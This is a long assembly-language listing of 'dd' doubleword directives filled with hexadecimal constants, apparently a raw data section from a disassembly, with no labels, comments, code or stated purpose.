		dd 502259B7h, 0FD60F6E3h, 6DA21C40h, 671B1DEAh,	1E3E1DBAh
		dd 0E2B1E35h, 0F3C2246Ch, 0CC58EE25h, 0F9029205h, 81DB71Bh
		dd 9F1851A6h, 586A91h, 0DA96E3D2h, 0BF469820h, 79360E30h
		dd 65F66DB6h, 0D759C8B9h, 44C8C3C4h, 68E75780h,	0E5D11D1Ch
		dd 6572807Dh, 1FA12248h, 0F27877h, 0D655B66Eh, 73FB40DDh
		dd 0EA61C218h, 960C189h, 1819C615h, 0B0205001h,	80B5D1C0h
		dd 15B8E421h, 4320754h,	0F59FBDD3h, 20EC90ECh, 6E6F95EEh
		dd 9814AC58h, 778C0022h, 37A78654h, 0DA1A5EA4h,	5A88922Bh
		dd 288D7434h, 7D647BF7h, 5F631EAFh, 0CCC55C6Fh,	0DD08E677h
		dd 0C78321DCh, 90659363h, 0C33842h, 0CC3217C0h,	7F080CA8h
		dd 0BF4EED00h, 50A7EB62h, 544C0AE0h, 398E382h, 9BCB838Ch
		dd 20D71800h, 4F5B55Eh,	531D00EDh, 98D51358h, 201F634h
		dd 2C409E7Dh, 6FE0950Dh, 301000FFh, 775A7F47h, 0D000342Eh
		dd 0AE4F2B0Ch, 1D581DA6h, 9D7BAA19h, 4DD74012h,	1C2B7EB5h
		dd 220384B8h, 5FB9CCA8h, 437BF8CAh, 4DBD0797h, 10A604BEh
		dd 0E24E664Bh, 411CF68h, 0AAD214C1h, 0F6451080h, 0C48344CEh
		dd 0D5078F00h, 0EF7DD653h, 1E990024h, 85ECDC40h, 5900E14Ch
		dd 7E1BB4DBh, 1C8ECF9Bh, 0C1613CC6h, 47880CF9h,	0C1B68033h
		dd 40F00E0Dh, 3B4407AFh, 0F0DB437Fh, 2C74A6EFh,	52D6BD00h
		dd 0FB19D242h, 0D1E80071h, 0FA6F096Ah, 0C9006C3Eh, 0A8E78B94h
		dd 3E961D01h, 0D3002B0Bh, 0BF28CDEAh, 6B267377h, 9100F545h
		dd 34948F3h, 0EDC424F8h, 1913E7h, 3D8E39B5h, 0FC006D34h
		dd 6FEF719Ah, 0E9468Bh,	0F73F883Ch, 4C9D734Eh, 809F9430h
		dd 0B62614h, 668D62BAh,	178F8A5Bh, 47114F00h, 1B65CA37h
		dd 25531D87h, 3AE1002Ch, 0D775A105h, 80A66800h,	5E8CBCF4h
		dd 0FAF902ECh, 0CEC4E203h, 447DB8A2h, 1C6E84A1h, 667080EBh
		dd 0E79E4D75h, 0F0590A2Ah, 80D0A358h, 693AD1BFh, 0AD01B95Dh
		dd 1E8DD75Ch, 44FCAF53h, 187679h, 0C2671CAAh, 0A84D5A42h
		dd 0CECDFD1Fh, 0E5144104h, 343CC780h, 0DEB3007Ah, 512B030Bh
		dd 700001FCh, 0E80A8D4Ah, 1C682969h, 40936EBCh,	40F6DC7h
		dd 143E8801h, 0FEB7803Ah, 400C9B4Fh, 0F47700B9h, 0E936225Ah
		dd 553A43ACh, 7619E00Fh, 538DCCh, 853C37D9h, 7B6A2DE4h
		dd 0D1A0720Ah, 0F4A4B048h, 0D9C29D1Ch, 40AAC02Ah, 1D83C00h
		dd 5F0B9B88h, 0F10ED1B2h, 934CFC6Fh, 570CF400h,	3CBBB6F0h
		dd 0F2D30010h, 0A4AFD93Ah, 321DD27Bh, 0A9926380h, 7EDC6400h
		dd 1F2E3A08h, 4E87667Fh, 0B9E1BC83h, 80933370h,	6E4EF71h
		dd 3D4C0C7h, 3980C682h,	1BF02ACEh, 1F74C4CFh, 373E9F00h
		dd 0A0F5B470h, 0D3807E5h, 5231924Fh, 0B722A7C0h, 89D72087h
		dd 5E4070Dh, 3E7C3400h,	5575976Eh, 0F1980F95h, 0AD007F84h
		dd 92515863h, 1A3BC901h, 73ECA120h, 1C13BBE4h, 40F7AA3Ah
		dd 69684923h, 821807F8h, 7AB99A02h, 0EFD91EC6h,	1088F05Eh
		dd 0E980A60Bh, 4BC100D2h, 0AA04A08h, 0DA785B17h, 0AFA45F00h
		dd 60863DCEh, 407207h, 66B3D226h, 6389731Bh, 5D0029B0h
		dd 9ACCECEFh, 0A867C7h,	0B7D48210h, 0AAF17DE8h,	0F5E0E40Fh
		dd 0DAE7A0ABh, 9C77F2h,	84B023DBh, 57DE2B47h, 0EAED6F18h
		dd 973A8h, 0DF90AC3Dh, 0F43B940Ah, 503CCD00h, 6E1B819Fh
		dd 649A3E5Ah, 1CD9EF00h, 3152F118h, 15E0A24Ah, 1FD40024h
		dd 0A7F98843h, 94E15747h, 0DDC331h, 62DAC2FCh, 0D7CC5Bh
		dd 0CE93BCDCh, 5660A46h, 0F1507805h, 448742ADh,	8916A101h
		dd 0FE1AFAC4h, 1E8403BDh, 1DAB113Ch, 52E099E8h,	3A819500h
		dd 6A2CED35h, 7430044h,	2909111h, 550F353h, 0C3078FB4h
		dd 399EF9E9h, 4118B4A1h, 2D8AF080h, 0A94893C4h,	0B11172Ch
		dd 53548F00h, 0FB07CAh,	3968B401h, 7A1E5E71h, 0D7646700h
		dd 3D6B5621h, 0D08E63D0h, 43B0F26Ah, 0B900C3BFh, 0AF8A4ACh
		dd 140929Eh, 1738F5AAh,	0D947A083h, 0F240249Dh,	0EE665Ch
		dd 2F2D2E6Ch, 64182CEh,	0C277A3EDh, 9903A04Dh, 0D714DAD9h
		dd 3474D8B8h, 0EAC83BADh, 0C6E6880h, 4C73B405h,	9C457E00h
		dd 0BBCA77F5h, 4B990EC8h, 98206FABh, 21AABE6Bh,	209B603h
		dd 0A87F4A90h, 1E845E83h, 0C0CE4CBCh, 88541AA0h, 6098D129h
		dd 0E7809900h, 96C4772h, 677B0EE6h, 0E02066A2h,	0D80684ABh
		dd 12DD180Fh, 803ECE22h, 1114FA79h, 2BA8002Ch, 1CA5C7DCh
		dd 47001F4Fh, 0A94D3171h, 0F828E602h, 0A17500F2h, 4B3249D0h
		dd 3100C8F1h, 9313E747h, 14D5A291h, 0E4A06C17h,	6106EB39h
		dd 10A1390Ch, 15C1DC0Eh, 0FFB2203Bh, 68100Ah, 45BE6F54h
		dd 77F47DA7h, 0D7A25500h, 6EEFED13h, 0B8FF006Dh, 5B37E7B9h
		dd 0B200FCBCh, 1380372h, 220CAAh, 51B9AF5h, 0D0BC9CC2h
		dd 0A7C9AF00h, 9BAAE644h, 2C60139Fh, 0EC00EA0Bh, 798FECD9h
		dd 707200A2h, 82280693h, 2E01F5EDh, 0CCE28136h,	842010EAh
		dd 0E5DF8F2h, 0D5A9F8ABh, 0FBADBC80h, 4D000D33h, 0C01D1EC1h
		dd 6902BDh, 0CAE45F04h,	10AD924Ah, 1F38F858h, 0F8EB56h
		dd 0D08F963Fh, 0FCD7660Bh, 0C3D50053h, 672426FBh, 800018A9h
		dd 92CBE81h, 0BB6FBCh, 8E70FEB3h, 56193BF1h, 0AD8FD90Eh
		dd 500096B1h, 4E9B6C81h, 94BE006Eh, 0E3E27E9Ah,	727979F7h
		dd 754D5B00h, 4F645AAFh, 59180002h, 0B10FDA6Bh,	700D3D6h
		dd 0ECF6C8A9h, 46303Eh,	77815423h, 4CF59B1Ah, 2C4BC058h
		dd 468B9CCBh, 54AFC4h, 36EC851h, 0A3920665h, 18FC186Ch
		dd 0EBB93103h, 86353Bh,	54EC0111h, 28490511h, 0BBE83190h
		dd 3ADA55Ch, 75ABF58h, 1B26B82Ah, 8D77162Fh, 0C2150063h
		dd 0D120484Ch, 4A213207h
		dd 19770D30h, 39EC6E0h,	50D0B2ADh, 3CB3C2A3h, 7A037CDBh
		dd 0ED864785h, 201CD083h, 1F07E52Dh, 0E6C5382Eh, 18250C00h
		dd 192F20h, 3B9097ECh, 0FCC70FDDh, 2BC54009h, 17A100FDh
		dd 75FE82h, 0C0B5E3Ah, 0E1CACC49h, 2144BE00h, 8F3E522Bh
		dd 8470002Ah, 0C2E4C68Ah, 0BD00774Fh, 64CC51CAh, 5EA4EBh
		dd 7EC1B3D5h, 8BD38F88h, 1BF24Ch, 40B86FFAh, 0C8D7CDAh
		dd 0B6FE83E2h, 4A024BD9h, 0D6FD5EAAh, 151852ECh, 0C8C0B21Eh
		dd 91203406h, 850031B8h, 0B00B16CAh, 3E3EDB5h, 7D8625BFh
		dd 0B4B85638h, 0D7027657h, 0DE15AFDBh, 314B4A3h, 0ECBC704h
		dd 7900B2ECh, 0B6C534C3h, 165C3242h, 15EAEB0h, 0E3C7FE8Dh
		dd 43F9E8A4h, 17E6850Ch, 2E2690A0h, 0C94102Eh, 9DC11614h
		dd 83E88600h, 930169F9h, 584F03FCh, 0CC8E33E5h,	0F0C1C900h
		dd 0DFAD08ECh, 3E230093h, 18142884h, 0AE00A3CFh, 0C285FF64h
		dd 0CE0DF97h, 22409C1Ch, 2800AA61h, 2918D076h, 0C8B0B50h
		dd 0CC14B446h, 2B005A21h, 0B30E1A9Bh, 1A79061h,	9409D629h
		dd 0ECBEF1ADh, 1C0CC4E8h, 91B22C0Bh, 0FC8400ECh, 97ACC9EEh
		dd 0B907AED7h, 81F2F39Fh, 0C490B0B4h, 0E1E22Eh,	6C23EC5Fh
		dd 47678ADEh, 34CAFB0Eh, 32778210h, 40DCACC1h, 0DB4D30EEh
		dd 50E8FA11h, 3E10C71Dh, 14380D06h, 327609B1h, 3F00C897h
		dd 1D9F7D15h, 8DA82100h, 0A21465ACh, 0EDD4A0BEh, 8A4A00F1h
		dd 0D1C204DEh, 0A6014329h, 0BB062366h, 64319869h, 45E8C4h
		dd 0B8F80E14h, 0B266646Eh, 44A06203h, 18940DA1h, 200C8C08h
		dd 6500974Eh, 0CA56AE6Ah, 17E5FC67h, 0E615D50h,	38C0CE39h
		dd 0AF6F7A42h, 71FE6300h, 0D2AD354h, 0B50F0027h, 9DDDD18Dh
		dd 0B73A5A90h, 0F8007DA1h, 3BFBB21Bh, 0EE0F7F34h, 39670CC6h
		dd 0C2219D42h, 21638E0Ch, 798119Fh, 24DE1B32h, 44030BA4h
		dd 0B5B1FB54h, 5A20968Eh, 207DE107h, 2DC08244h,	0EA4733Ch
		dd 8F188DEEh, 1E0BAA20h, 47078397h, 54BF9E08h, 0B4D79D70h
		dd 9879C7A5h, 0C073F2AEh, 785BCDC0h, 3169613Ah,	0A6E52154h
		dd 7DA2CD8h, 0CB0A8EC7h, 42373022h, 8900D01Eh, 2F5EDDB4h
		dd 5798B5h, 85BD19D4h, 2E46C426h, 74FDC500h, 9A279786h
		dd 0CCA00D8h, 1A8279B3h, 0A500C320h, 0C758F270h, 3E45968Dh
		dd 22BB9469h, 3D80EDB8h, 652CAFC6h, 76001BFEh, 90C79CBFh
		dd 84EADCh, 51E48621h, 2749E28Fh, 7EE3C000h, 5394B9B4h
		dd 14FA88h, 5062C423h, 9F9A35B2h, 0B66FC000h, 0AA218695h
		dd 5BE66Bh, 22FC8DC3h, 7D5F3926h, 0E0FA4Ch, 2978D36Fh
		dd 29FF6130h, 0F50427A2h, 1D4B0880h, 30E83048h,	0F718AC6Ch
		dd 0C0002EE1h, 136F8CCBh, 188465Ah, 19E66038h, 0D715C2E8h
		dd 2C94F7B8h, 10F329C4h, 63E2B500h, 0F201D731h,	0E1845C3Bh
		dd 93F881B6h, 0C10300EAh, 16FFB4E8h, 0DBE467A4h, 9FE3B003h
		dd 0B81EA5FAh, 312F5D7h, 700CE61Fh, 1A8083Bh, 6639A36Bh
		dd 55C28034h, 8DB91CF8h, 3C84EAF2h, 0DE80D914h,	3D0EA866h
		dd 6500F3D6h, 9EF68A0Bh, 0F840A1FFh, 0F89600C1h, 6C5113CEh
		dd 2A4C3E64h, 2231131Ah, 1C034600h, 3BAB12E3h, 5C008C54h
		dd 35A5D9D7h, 68011990h, 4AC8D476h, 97D06EF4h, 0AAA00E4h
		dd 99872AACh, 0C300CAC2h, 43554C39h, 357AE4Fh, 0D801035Bh
		dd 11984822h, 3E003197h, 63D632FDh, 7788823Bh, 0FB2F00AEh
		dd 77656C78h, 0EE005847h, 808DE1AAh, 1ECBB37Ah,	0D32770h
		dd 62F7ED97h, 0A1002E2Ch, 102D8449h, 0D6A469h, 0C23EA516h
		dd 0D37FD13Dh, 94DD2200h, 5B7C538Dh, 68FA00D0h,	0A4A6E96h
		dd 55008251h, 9BE27B98h, 4C28CEh, 0BFED0C91h, 3D2F3E18h
		dd 4EC1EF00h, 66810650h, 29420724h, 917DB34Fh, 2057A772h
		dd 9000C9E1h, 158109D7h, 14C772Ah, 0F96C16BCh, 0E8EF554Bh
		dd 0E00697Fh, 0F73F68B0h, 901EE9C9h, 7360383Ch,	0B39C3307h
		dd 675311CCh, 0EA4EDC16h, 86E08009h, 0DD21803Eh, 60D31F7Ah
		dd 7B539819h, 9303E8A1h, 0B80255Ah, 9AFE841h, 57BB0076h
		dd 0C2205652h, 7092E40Ah, 9E5ACA02h, 0A5737FFDh, 1380AF24h
		dd 0E4DFE8h, 8133DB49h,	0C3C842FAh, 82CC6E00h, 0B65160D9h
		dd 6540004Ah, 1FCD5D25h, 8F3C728Dh, 6478000Fh, 3AE799E0h
		dd 90EF1CAFh, 75938110h, 81395574h, 20BF09F8h, 67E50432h
		dd 602B46E0h, 370695Eh,	15003FFFh, 0A08A1859h, 7CAF3DA3h
		dd 4BFE0567h, 77F6C62h,	0A1379287h, 600BDA23h, 75008EB1h
		dd 2B20314Ch, 7A9F82DCh, 84E61C38h, 0CF2C4E4h, 0D8F0939Eh
		dd 0CD4962C8h, 0F9210118h, 17B278h, 43463296h, 6E6B2ABBh
		dd 0ADDAC200h, 0D7D56880h, 0A57677h, 3E4394EBh,	9BB528A9h
		dd 3600C2ECh, 0C1ED6175h, 978DA47h, 745E7DEAh, 0DEE50000h
		dd 20E27B1h, 0E1170Bh, 0A6991567h, 4AF60043h, 147B3E7Ch
		dd 2F00474Eh, 0CE692CC8h, 3B554D38h, 0FA805A95h, 0D1E0496Ah
		dd 0F03B2D64h, 0CFDE12AAh, 0C768A905h, 5365E844h, 0EFBA8E21h
		dd 35AB26B8h, 3BFD638h,	0D0458603h, 67FA094h, 0D8A30001h
		dd 20768FE8h, 92048B9Ch, 0BCEC87D3h, 44DF80D2h,	0ACE60A60h
		dd 94FCFDh, 6BEE08B9h, 6AC05560h, 2C48676Ch, 0F50B0494h
		dd 8DC21CD5h, 0B2288038h, 97219B24h, 0E0CE009Fh, 0B015C781h
		dd 6B26CC22h, 0C0332EEh, 0D82F3F03h, 0D2C258h, 0E4ABEAE3h
		dd 0C998A325h, 0F45A18E6h, 15A6A0h, 0B2BB59B7h,	2919D596h
		dd 8CB30200h, 565CE12Bh, 0E71E2CDEh, 36A8006Eh,	0E97B4361h
		dd 0D467B60Dh, 0A9C0D0A0h, 56501490h, 3050B435h, 0DB2600FFh
		dd 2FB48FFDh, 0DA0F0271h, 8092366Ah, 7AE03AE6h,	0A8DD748Eh
		dd 2537784h, 6692EB2Fh,	0E44AB3E8h, 82BD8C0h, 407EF490h
		dd 0DC2438B8h, 28803C6Fh, 39B16045h, 0E00C4488h, 0C28FD300h
		dd 2F7773CBh, 0E96729C4h, 0D57D80B8h, 6687953h,	5C1B7A1Eh
		dd 11F1E181h, 4521C06Fh, 1CAEE8C3h, 85C9004Eh, 0DDE4805Eh
		dd 0CE300F9Bh, 982ED087h, 33EF1CCCh, 478B4112h,	5026EED2h
		dd 810879F4h, 4B222703h, 0D809CD6Eh, 2E26F524h,	0EDE402h
		dd 0B94788B2h, 57006EF2h, 0AC9A05EDh, 129DD6Bh,	0C844657Bh
		dd 40C304F5h, 7709EF8h,	540001F2h, 0E7C07D17h, 3A7E1CACh
		dd 590AD0F0h, 988B2A2h,	0C414E6A9h, 0B5BEA109h,	0C2F480A5h
		dd 85938h, 2001057Eh, 3EB36F22h, 66B6CE12h, 9D3FBC00h
		dd 33A8AF3h, 0FDDA726Dh, 0F9B960EFh, 3B5181D7h,	803CE54Fh
		dd 0B8233561h, 9C281F21h, 7FF0D702h, 6016E3E9h,	5837184h
		dd 0C411AD27h, 70C8685Dh, 0C1E07E00h, 90BB6C07h, 227B0292h
		dd 1D015075h, 0FF6A78A2h, 0F2DF3010h, 0F8E51846h, 71F0D885h
		dd 624F7D0Fh, 0B538A097h, 7D5493D2h, 0CDE50F63h, 5300E6ECh
		dd 8ACB8BB2h, 33F3E701h, 0E54D949Ah, 0E8D16020h, 0AE60012h
		dd 240C8FCCh, 80A8B1BAh, 0CD2C6131h, 0DD806098h, 0A351104Ch
		dd 0D0441C32h, 0CA4A4087h, 0BCD91BFDh, 83C69801h, 0EC59DB45h
		dd 0CFA000FFh, 1FFA5CC9h, 69504FEFh, 0E21B6D0Ch, 0E869CD37h
		dd 1EAD684Bh, 40491006h, 55FEB42Dh, 5D004387h, 2F04CAA5h
		dd 3F73BBEFh, 0E8809CCDh, 5558F151h, 573FDA15h,	6FC50F5Dh
		dd 8B2EE0ACh, 0A603Dh, 78E9C0E2h, 7D7695FFh, 32309400h
		dd 91AFDA2Ah, 0F18A00D3h, 8707A63Ah, 65E47583h,	0F20FEC00h
		dd 0FC8141DFh, 2C4F05C5h, 81CFF15Eh, 17548B04h,	93BB1A90h
		dd 6877C1h, 0DF4EC326h
		dd 0FA9C9A94h, 45003090h, 0D44A9620h, 28B6DAEBh, 1A4132Eh
		dd 15C88AB7h, 0D865E5A0h, 707E63E3h, 1C1A2400h,	27C92681h
		dd 1F0F00E9h, 7C736C1h,	12006978h, 40301001h, 38C35D5Fh
		dd 3B1E91D5h, 265D2ED9h, 45FE0084h, 4DE16FC8h, 0D5448A1Dh
		dd 29CE7CC0h, 1A0D6A5h,	9655E893h, 0ECE13906h, 4F00F1D8h
		dd 481EC5EFh, 302A2C67h, 9A86DAFDh, 0DC0333DEh,	0F5157AC0h
		dd 18909DDFh, 0B9C5A9Eh, 0E6053B7h, 0AD374CA1h,	0B3943487h
		dd 6461E316h, 0F629C800h, 7BC134h, 4BCBF06Ch, 212F17FAh
		dd 68890613h, 1C2FC00h,	28E6449Fh, 0B06047h, 0C74B086Eh
		dd 0B2583B16h, 1D9113Eh, 839713E4h, 24C84FE0h, 0DED53B04h
		dd 20B50EF0h, 0C1E31D71h, 5BBBE82Ch, 33D4BFD0h,	69FBC0Bh
		dd 0B05F0007h, 6822B76h, 81A14FB9h, 0FB00D031h,	72FEA35Ah
		dd 24AE0C06h, 260D7C1Fh, 0ABCBC29Ch, 0F538F050h, 2F0F81EFh
		dd 0CED8BB91h, 48628040h, 0EC7A00CFh, 0EF871DB3h, 8E0F82D0h
		dd 0C04556A7h, 0E0DA22B5h, 0E50B2EDBh, 0A4A360A4h, 0E101600Ch
		dd 7FB27E85h, 8C24BAC5h, 46F30227h, 0DF4839A9h,	0DECEECE1h
		dd 1D0B006Ch, 78D15E8h,	0A6B0B3C4h, 0FE490469h,	82CF000Ah
		dd 5FA1B2B0h, 3A7289BCh, 38980F30h, 13657590h, 801EFCC1h
		dd 28E3C722h, 6B10AD00h, 0ED73FB92h, 0A6F4B915h, 0E7A05060h
		dd 90D0ED29h, 3046CD84h, 560C6042h, 13E89334h, 9707956h
		dd 71346370h, 0B8E6C502h, 43662E0Dh, 0C2ADE08Ch, 98630064h
		dd 0E50495E0h, 1100C5D9h, 3F374897h, 984B640h, 0D8613936h
		dd 0EE7CB80h, 441E426Bh, 2140DABBh, 4D066E1Fh, 5DEC0A63h
		dd 507C778Ah, 0CC034D62h, 8FF9AF9Dh, 2835E18Bh,	4AF474h
		dd 99DDB250h, 25C38D3h,	85574607h, 19917093h, 0C0FAF325h
		dd 1874F480h, 0E84C7115h, 670C9EEBh, 586D6428h,	0EE49042h
		dd 102AC979h, 0C0B52C45h, 0B0CBA3C0h, 5E33A901h, 0CE39476Eh
		dd 518D032h, 6222A9FEh,	0ECC38CA8h, 196BF630h, 7578F1EFh
		dd 0DF11C0B7h, 6C0C3C64h, 0C39D2214h, 0B1F600D4h, 8FBA9AB9h
		dd 73E3002Bh, 44EACE1Ch, 1F00D508h, 5BD409A7h, 60BC394Ch
		dd 0A01361C2h, 0C8B8EF96h, 0F0B99800h, 4B4CDE37h, 332A01DBh
		dd 2EC60556h, 0B343E096h, 3E099418h, 4A24229h, 9987BC0Bh
		dd 79C0C3E4h, 3C6CA8A8h, 0D40098FAh, 957D154Dh,	3E7E7613h
		dd 0CE8058DDh, 28E7E1B7h, 203539Dh, 7288F38Dh, 208B97D0h
		dd 954808D0h, 0B4FE0162h, 0F8478B9h, 8B13C824h,	0E0E9A600h
		dd 0DC20981Dh, 78760048h, 8C0A3DE4h, 531C666Eh,	9680434Ah
		dd 85F18B1Ch, 1FD702AAh, 9FFDC0BBh, 806427C2h, 8A8BB300h
		dd 0BA5DEEF5h, 4FA7B67h, 9793EBA0h, 0E7B4E0FEh,	60A4081Ch
		dd 8822D681h, 0E1D037A7h, 0AC3F0027h, 5E55F7DEh, 1F038197h
		dd 10426640h, 70BAD072h, 3C7E000Ch, 32B20E3h, 0BE0065CFh
		dd 0AA2CE58Bh, 5574F0h,	0D88F2F47h, 7D1CF348h, 82CCA700h
		dd 658A9CB4h, 0F6E800FAh, 0B1C88873h, 0E602493h, 0B7ABB888h
		dd 83989Bh, 716D123Fh, 5FBB6E01h, 8C341A00h, 0FB4BE8BEh
		dd 30EA182Bh, 48F9C173h, 0D93CB300h, 0C2457E55h, 0EA473AF1h
		dd 1C678286h, 4A079054h, 0A12DDF6Bh, 8D34AC51h,	0F271A9DCh
		dd 1E7500B9h, 0C1EFECFEh, 0E700586Dh, 0DE6C21F7h, 30C8465h
		dd 0FC398309h, 8EF81F41h, 0AC006DD0h, 0A05B86BCh, 0A650F1h
		dd 0EAD5B709h, 9A2B9598h, 49346A18h, 0EB8EA0h, 2AF58FADh
		dd 0D03DA263h, 765D5C03h, 0F2889EC3h, 0ED9A4097h, 8CB024h
		dd 0E6DEE46Dh, 0E3F9CC37h, 5B069800h, 9D3BE542h, 7A8238D8h
		dd 2BD0A80h, 224DF5E4h,	0B7400E0Bh, 6C24874Ah, 1DECCF90h
		dd 0A0523D71h, 83E0F51Ch, 8980CC51h, 88C620C8h,	0FFCA54Ch
		dd 0B371A6h, 81A3E806h,	0AF2600D4h, 59C3A0EBh, 5700AA47h
		dd 40AD0EEh, 2D686Fh, 16F46287h, 22F2B994h, 0AC4DEB00h
		dd 56E1E6F1h, 459D301Dh, 2D391FF8h, 6306E51Dh, 2F8BB481h
		dd 0EC20D03Ch, 0D72100B6h, 13E86B46h, 0EB01B878h, 9A4D5B67h
		dd 408F969Bh, 27C0B2AFh, 1C65409h, 58DF2007h, 0A1E02FBFh
		dd 0F6ECDCEh, 0F080317Dh, 911E7480h, 0E000C73Ch, 0BE2515B6h
		dd 3902927Ch, 9985BA24h, 0A42944h, 14360181h, 0F0B23812h
		dd 2BDC9C01h, 3E42F6B3h, 0B6073280h, 0BF6281FCh, 3AC8CA00h
		dd 7FE747BBh, 4387002Fh, 7B75B6D9h, 8907030Fh, 39DC5C3Fh
		dd 2536D500h, 1A0E019Eh, 0AC8EA36Dh, 9BD43081h,	200C7709h
		dd 0E4C000D0h, 2E3B9AF8h, 4034D90h, 809563B3h, 62F9EDBCh
		dd 423DB7E0h, 9ABE1Ch, 0D04D305Ch, 71B565h, 20CB2983h
		dd 704A54C2h, 117EAC00h, 2FBD3A78h, 7177D9Ch, 0D496BB18h
		dd 0C1F6E45Eh, 0D8E391C8h, 5B00CA23h, 4F97BF52h, 5C1806h
		dd 0FBD64285h, 0C8444DA4h, 9C1F2B00h, 0E1B33A6Bh, 97483114h
		dd 30B5C618h, 920421C0h, 6668DCAEh, 64A41684h, 5A080748h
		dd 633CC4D5h, 8D8035A0h, 5301FD72h, 3ED6DB0Eh, 82C45A6Fh
		dd 1BDE1CD9h, 22778092h, 49912CFDh, 7B810100h, 0F332663Ch
		dd 96CF7A84h, 0CEA800B0h, 28641E3Fh, 20A17B00h,	10BE0EFFh
		dd 22960070h, 29AB14C4h, 0E40015BFh, 1D77B01Eh,	0F24F52E6h
		dd 65AA004Eh, 27FB9FCFh, 0D10079B7h, 0B4E4D624h, 901FA3F8h
		dd 0C42D1E04h, 785B06C5h, 0EC781063h, 0B799748h, 0A0ADC12Ah
		dd 679F2B94h, 0B3440726h, 4012D77Dh, 0BD65834h,	0BACBC007h
		dd 3CC04CA8h, 967CCFh, 27C4EBF3h, 3470136Ch, 0A54980E5h
		dd 0F53AD208h, 21C561CBh, 0C3D6FE2Ah, 0EF246AC8h, 0C48675Dh
		dd 39AA8AE0h, 0C4D4072Fh, 408C470Ch, 67DC2B0Eh,	5AB9D1A0h
		dd 51926E00h, 0F6E58735h, 0D2190036h, 52EC66B4h, 1A181714h
		dd 0AAA869A0h, 0C12C0CDCh, 0A258BD8Ch, 0A6E6040Bh, 6138CF11h
		dd 801CF944h, 0DC405010h, 7BE829h, 0EE8DD263h, 539BADEFh
		dd 0EB5BF705h, 10C08A84h, 0F6E95Fh, 6393C56Dh, 32024E16h
		dd 89B24B00h, 4A5999B4h, 87DF1612h, 720079Fh, 0B4E584F3h
		dd 0BD01DAF8h, 42834789h, 30DBE8h, 0E5C3004Ch, 0EAB04ACDh
		dd 171D0660h, 0C6524337h, 0BC9CB204h, 0E09310C2h, 2312413h
		dd 0B75D7440h, 0B663B8C2h, 0BDC581D0h, 796A3404h, 6FC77D03h
		dd 0D7D1002Bh, 6625D0h,	42507647h, 0E0A9DE24h, 859FE204h
		dd 4B80F8C8h, 3A5BCE4Fh, 0E5007F49h, 0EDF270B1h, 0B50035D8h
		dd 0D77740Ah, 7882A676h, 89800ACh, 0C0D1D657h, 0AD00F25Dh
		dd 0D8145C3Ah, 0C932F33h, 1CACE5C1h, 55042D11h,	4149A8DFh
		dd 5C58C80h, 0B0C80946h, 6CA28A92h, 0A85020B1h,	9DC7D900h
		dd 1D6A39DEh, 48320041h, 261B5047h, 0EA03FB24h,	5BA06627h
		dd 5307C8FEh, 21010005h, 0A3B7F5FFh, 0FB15D8BDh, 0F4AA86h
		dd 7E1CAE5Eh, 6DB30Fh, 8A9BA23h, 3D92B1CBh, 5400AAFAh
		dd 36526D2h, 16245Eh, 0DAE97C1h, 0A73F6698h, 0CEA2BC00h
		dd 11F4BAFEh, 0C5DD0063h, 7160641Dh, 700720D9h,	0B9B62BE1h
		dd 383C6960h, 0A1F06C8h, 0B851065Fh, 33AF5400h,	0ABE613FAh
		dd 0BA886001h, 20EAF7AAh, 96B79500h, 43E5BD4Fh,	407C968Bh
		dd 0FF991B6Fh, 5FEE7400h, 3D12DDB1h, 0F766FA9Ah, 90F23AC8h
		dd 62BF00A7h, 2B2F0D47h, 0D00754FDh, 57413214h,	0B76540BFh
		dd 345EAAh, 749E1BDDh, 66140C73h, 0E4FFFA07h, 52F0B2B1h
		dd 1083E7h, 554C3C34h, 7A61F9EEh, 0BBDDB30Eh, 89C185DBh
		dd 1C690D80h, 0A1C51422h
		dd 3B00F096h, 31BA9D83h, 6C004FD0h, 70E949A3h, 0E1C3B5h
		dd 2FE2335Dh, 4DB18502h, 0FD268F05h, 0D04086A4h, 53E3ACD0h
		dd 0B2C500BBh, 0F34D4AAEh, 9A250263h, 44B800C4h, 670BEBFh
		dd 8CB92AA6h, 5E0019DFh, 52437ACEh, 1E26F55h, 0EE77F31Eh
		dd 945B19h, 1471A7h, 26DE3EBDh,	0D7ADEACDh, 4482B203h
		dd 0B076A050h, 0A9B302h, 6AB8AEE2h, 0B6D52FFh, 0E7FDE00h
		dd 2F67CE61h, 4B501D37h, 981E01B5h, 0E89E554Ah,	720EF726h
		dd 7EB0103h, 20596FF9h,	1A84AC68h, 0D02D500Bh, 0D9400A91h
		dd 67FC8799h, 953DD7F1h, 74B440EDh, 9346B319h, 70FA5D09h
		dd 0F16C009Bh, 92C53Eh,	14888CF3h, 208BAED9h, 62AC2100h
		dd 0C845382Ah, 13A107AAh, 80B06025h, 0D6BE96CBh, 0F0000B6h
		dd 6AA67F5Bh, 33E72D99h, 0F857EC00h, 0C50EA9CCh, 0CAFBD747h
		dd 1881C863h, 10871DADh, 98206EC1h, 92AE3977h, 0A8E86C80h
		dd 7D442B29h, 9619AB00h, 0DF905212h, 0A1E4FB22h, 8E9200A3h
		dd 0FCAD4E85h, 0D5004515h, 293EE3D2h, 2B1FECh, 0D07683Fh
		dd 0C9325117h, 3BBFA00h, 28F63E30h, 6DA9006Ch, 0CEF742C4h
		dd 10009A9Eh, 7C546167h, 7127ECAh, 0F03486E7h, 0A8431408h
		dd 0E0E93E90h, 0BBEC6BB0h, 0F03E48FEh, 0DA807000h, 1692ED32h
		dd 0FBE6900Fh, 3444E030h, 0FD69E83h, 5FF22CB5h,	0E6F46AE3h
		dd 0F87750B0h, 579BBE00h, 0DD17667Ch, 4CB600FDh, 0EE1D426Ch
		dd 94A0CADBh, 683E7986h, 0CE95h, 4806E4D0h, 44810111h
		dd 0D3178CE7h, 0EA67FC1Ah, 7C0A2A00h, 29F471E6h, 9F692EC2h
		dd 62A60BB5h, 48C07A8Eh, 3BE79DB8h, 0A5114618h,	9A5B60h
		dd 0F11A8166h, 0DE04D0AEh, 0D63C5200h, 67BDB72Fh, 79C8C0EDh
		dd 0BB1A2292h, 6A2C9A03h, 0E7F75D5Fh, 0D947606Fh, 3DF7BFFh
		dd 25840DE0h, 9D885415h, 577B19A2h, 635E02F4h, 0E6129840h
		dd 1687607h, 0A14609D9h, 6C22A36Bh, 55E2640h, 68B40C18h
		dd 0ECB6488Eh, 12D6650h, 54E1E423h, 8004C15Ah, 9DB48130h
		dd 0B109996h, 0BE46E2EDh, 3A64A300h, 72246D2Ch,	1B873C77h
		dd 28B04EA1h, 0C328CB1h, 9308AEF2h, 9C980C68h, 7507D0E1h
		dd 9A35D101h, 9D38FB4h,	0F6B9E4h, 76F760E8h, 9D28A9F4h
